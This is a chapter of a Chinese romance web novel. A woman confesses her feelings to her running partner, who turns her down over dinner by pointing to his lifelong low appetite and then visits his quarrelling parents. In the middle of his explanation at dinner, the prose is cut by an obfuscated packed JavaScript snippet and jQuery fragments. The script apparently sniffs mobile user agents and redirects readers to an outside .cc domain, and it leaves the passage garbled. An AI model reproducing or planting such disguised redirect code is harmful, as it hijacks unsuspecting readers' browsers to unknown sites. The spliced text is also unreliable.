余可芒看到黎樟发来的消息，高兴了一瞬，看到另一条消息时，情绪瞬间跌至谷底。


    她没有问为什么，而是选择不再准备早餐。每天穿着运动服去运动场跑步，做一个合格的晨跑搭子。结束后，便背着托特包赶去地铁站。


    一连坚持了三天。


    周三晚上，公司群紧急通知，集团领导要来视察工作，明天全员必须穿正装到公司。


    公司极其重视这次活动，主管又在部门群里通知了一遍，还强调了着装细节。男生西装打领带整理头发，女生要求化妆，穿着西装套裙和高跟鞋。他们平时随性惯了，听说要穿正装，全都唉声叹气，有同事问能不能请假，被主管驳回了。


    坑爹的规定，余可芒去年就碰到过一次。


    她倒是不在意穿着打扮的问题，而是在考虑明天的晨跑该如何是好。早上跟黎樟道别时，还跟他说了明天见，她可不想放鸽子。


    如果要去的话，到公司就没有时间化妆换衣服。


    辗转反侧之际，想到的办法也只能是化妆换好衣服，去运动场见一面，再赶去公司。


    翌日早晨，她起了个大早，难得化了个全妆，假睫毛、日抛美瞳一个不少。


    踩着高跟鞋来到运动场，黎樟已经跑了几圈，他看着精心打扮的都市丽人，拧眉：“确定来跑步？”


    “今天有领导来视察工作，要求穿正装。”余可芒提前准备好了说辞：“没打算跑步，只想来散散步，就当完成今天的运动计划。”


    许是为了配合余可芒的速度，黎樟的步伐放缓，他偏头问：“跑了这么多天，瘦了吗？”


    “瘦了吧。”


    余可芒今天早上上称，发现自己瘦了三斤。


    “那我算负责成功？”


    心头一震，她问：“……什么意思？”


    问出口的瞬间，她突然意识到黎樟想要说什么，不免有些着急。在原地顿了下，准备快步追上黎樟时，脚步一滞，鞋跟陷在了缝隙里。


    整个人朝前面摔了出去，双手下意识想要抓住什么，急得在空中乱晃，直到拽住了温热的手掌，一颗心才安定下来。


    黎樟扶着她的手臂，将她的上半身固定住，两人离得近，急促的呼吸喷洒在胸膛，顾不得微妙的气息变化，他让她踩在自己脚上，确定她站好后，他才躬身捡起高跟鞋，给她穿上。


    “没事吧？”


    “……没事。”


    才怪呢。


    余可芒感觉脚已经不是自己的了，它被名为黎樟的人类蛊惑，恨不得脱离自己的主人，随他而去。


    而她的呼吸心跳还有大脑都在叛逃。


    黎樟确认脚面没有伤口，起身认真端详她，突然叹了口气：“你到底想怎样？”


    “我想跟你谈恋爱。”


    啊啊啊啊啊啊她竟然说出口了。


    果然，大脑早已背叛理智。


    黎樟跟余可芒隔开了一段距离，嗓音清冽：“你喜欢我？”


    “对。”


    余可芒鼓起勇气，看着他的眼睛：“我巨喜欢你。”


    她的目光热烈灼人，黎樟只看了一眼便迅速挪开视线。


    “我没有精力谈恋爱。”


    “还没有谈，你怎么知道自己没有精力？”余可芒没有被拒绝的难堪，努力为自己争取，“虽然我没谈过恋爱，但是我了解自己，不会很黏人的。每天能见个面，聊聊天就行。”


    黎樟没有顺着她的话题深入，而是问：“为什么喜欢我？”


    “第一眼喜欢你的脸，第二眼喜欢你对食物的态度。”她说起第一次见黎樟的场景，从他的表情再到细微的动作，都能准确描述出来。


    这让黎樟感到一丝意外。


    他强迫自己镇定心神：“你不了解我，或者说，你从章绮口中了解到的我，不是真实的我。”


    黎樟看了眼腕表，说：“你先去上班，晚上一起吃饭。”


    他虽然没有明说，但余可芒隐隐感觉到这顿饭是鸿门宴。


    快下班时，黎樟发来了餐厅地址，是一家人气火爆的川菜馆，距离公司不到两公里。


    正准备回复，他又发来一张照片，上面显示了桌号。


    他已经到了。


    意识到这点，余可芒下班后第一时间打卡，迅速离开公司。赵宇霖在后面追了一路，她都没有注意到。


    赶到川菜馆，黎樟给她倒了杯热水，并将菜单推到面前：“我点了一份干锅鸡翅，剩下的你来点。”


    余可芒没心思研究菜单，选了两道店里的招牌菜便放下菜单，一脸忐忑地看向黎樟：“既然要拒绝我，为什么还要一起吃饭？”


    黎樟喝水的动作一顿：“一会儿你就知道了。”


    真喜欢卖关子。


    “你喜欢的人在店里？”


    她环视四周，没有发现可疑人员：“还是说，你有一个念念不忘的白月光？”


    黎樟：“不要听章绮瞎说。”


    “我没有白月光，也没有前任，来这里只想告诉你，我们不合适。”


    “大费周章。”余可芒小声吐槽。


    黎樟唇角溢出一丝笑意，很快压下去，动作迅速，她并未察觉。


    这家店上菜速度快，没等多久，干锅鸡翅、盐煎肉和泡椒土豆片便端上桌。


    余可芒来这家店用过餐，盐煎肉和泡椒土豆片做得相当正宗，倒是没有点过干锅鸡翅。


    干锅鸡翅色香味俱全，鸡中翅切成两半，炸得金黄酥脆，外酥里嫩的土豆搭配翠绿的芹菜以及红绿辣椒，让人食欲大开。


    余可芒一直在琢磨黎樟的用意，午餐吃得不香，眼下□□锅鸡翅勾起食欲，她吃了一块鸡翅，果真如看到那般，皮酥肉嫩，汁水充盈。


    黎樟夹了一块土豆，放进嘴里缓慢地咀嚼。他吃饭速度极慢，脸上的表情淡然，无法从表情分辨出对食物的喜爱。仿佛吃饭只是日常生活的必要流程而已，完全没有因为美食而高兴。


    相反地，余可芒的表情生动多了。她会因为美食而兴高采烈，也会因为难吃蹙眉，吃到了心仪的食物，她会流露出发自肺腑的幸福感。


    闻杉常说，跟她吃饭是一种享受，她绝对称得上世界上最好的饭搭子。


    而黎樟就是最不受欢迎的饭搭子。


    他吃了几块鸡翅和盐煎肉，食欲并未被激发出来，最后勉强吃了点泡椒土豆片，米饭只吃了小半碗。


    余可芒还在大快朵颐时，他放下筷子，用纸巾擦了擦嘴，表示自己已经吃饱了。


    此时的余可芒，还只是半饱。


    如果不吃早餐还不算食欲低的话，那晚餐只吃这点就是真正的食欲低。


    她跟赵宇霖经常一起吃饭，也见过其他男生用餐，她知道正常男性的饭量，比较起来，黎樟的饭量实在太小，小得惊人。


    “你吃饱了？”


    “嗯。”


    黎樟的身材很好，身高腿长，宽肩窄腰，看着清瘦实际上腹部肌肉明显。


    难道是为了保持身材才吃这么点？


    “别瞎猜了。”黎樟眉眼带着浅浅的笑意，坦白道，“我从小到大，食欲都比较低。”


    小时候，黎樟的父母以为他生病了，带去医院检查，什么毛病都没有。久而久之，也就习惯了他的饭量。事实上，他只是没有常人对食物那般热衷而已。吃饭对他来说，只是填饱肚子，维持生命的基本机能。


    “


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15107966|163978||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    我有段时间怀疑自己不正常，就强制性进食，听说辣椒能促进食欲，便针对性地吃很多辣菜，这家店是我激发食欲时，经常来的店。”


    “我吃完辣椒最多只能吃这点饭。”


    余可芒正在组织语言，黎樟话锋一转，说：“如你所见，我做不了合格的饭搭子，更给不了你良好的恋爱体验，你还是找别人吧。”


    原来带她来这里吃饭，不过是让她亲眼看到他不符合她的恋爱标准。


    余可芒放下筷子，目光直视他：“你说得对，我的确会因为男生对待食物的态度而有好感。但是，对你，我可以不要这些要求。”


    黎樟也在看她：“不要因为我降低找男朋友的标准。”


    是降低标准吗？


    余可芒一时找不到答案，她思索片刻，问：“你喜欢我吗？”


    问完这句话，她便一眨不眨地盯着黎樟，紧张地等待着未知的答案。


    不知过去多久，黎樟才回答：


    “不喜欢。”


    -


    店里人来人往，外面车水马龙。时间仿佛过了很久，又似乎只是一个很短的瞬间。


    黎樟看着对面空荡的位置，桌上放着喝了小半瓶的橘子汽水，三道菜和米饭都只吃了一半。


    余可芒吃的地方，总是干干净净的，夹菜也只夹靠近自己的那边。她吃饭快，吃相却很好，享受美食的模样，让人过目难忘。


    黎樟在店里待了许久，夜深才离开。


    川菜馆离父母家比较近，步行只需十分钟。


    他到家时，父母在看电视，两人正争论电视里的人物到底像不像章绮的爸爸。看到他后，吵闹声骤停。


    章女士问他吃没吃晚餐，他点点头，没有说话。


    夫妻俩对视一眼，默契地找遥控器关闭电视，一左一右将黎樟包围。


    黎父问：“店里忙不忙？”


    “有点忙。”


    章女士音量陡增：“那你怎么回来了？是不是出什么事了？”


    黎樟扯着唇，挤出一个笑：“没什么事，好久没回来而已。”


    夫妻俩半信半疑，再三犹豫，没有细问。


    三人聊了聊章绮在店里的表现，又将话题转到黎樟身上，章女士问：“绮绮说，有个女孩特别喜欢你，正在追你。”


    “她以后不会再追我。”


    “为什么？你拒绝她了？”


    “嗯。”


    黎樟不想聊这类话题，适时打断章女士的好奇心，让他们赶紧休息，不要吵到半夜又睡不着觉。


    黎父点点头，起身回到自己卧室，章女士扫了眼紧闭的卧室门，忧心忡忡地问：“小樟，是不是我跟你爸影响了你的择偶观？”


    章女士叹了声气：“我跟你爸吵吵闹闹这么多年，把你夹在中间，还让你这个小孩做和事佬，是我们对不起你。”


    章女士嗓音带着哭腔，黎樟立刻安慰：“我没有受影响，你们吵了这么多年，我早就习惯了。”


    “你找女朋友要找自己喜欢的，千万不能随便，我跟你爸就是太随便了。”


    黎樟不愿聊这个话题：“我爸最近求你复婚了吗？”


    章女士止住哭腔，一脸骄傲：“当然求了，不过我没答应。”


    “这次因为什么？”


    “他嫌我出门慢。”


    黎樟擅长劝架，尤其是父母之间的事情，三两句话就能化解矛盾。


    章女士听他劝解后，破例回黎父卧室休息。


    黎樟在客厅坐了会儿，听到父母刻意压低的聊天声，氛围还算融洽，他笑了笑，起身回到房间。


    躺在床上，始终无法入睡，闭上眼都是余可芒泫然欲泣的模样。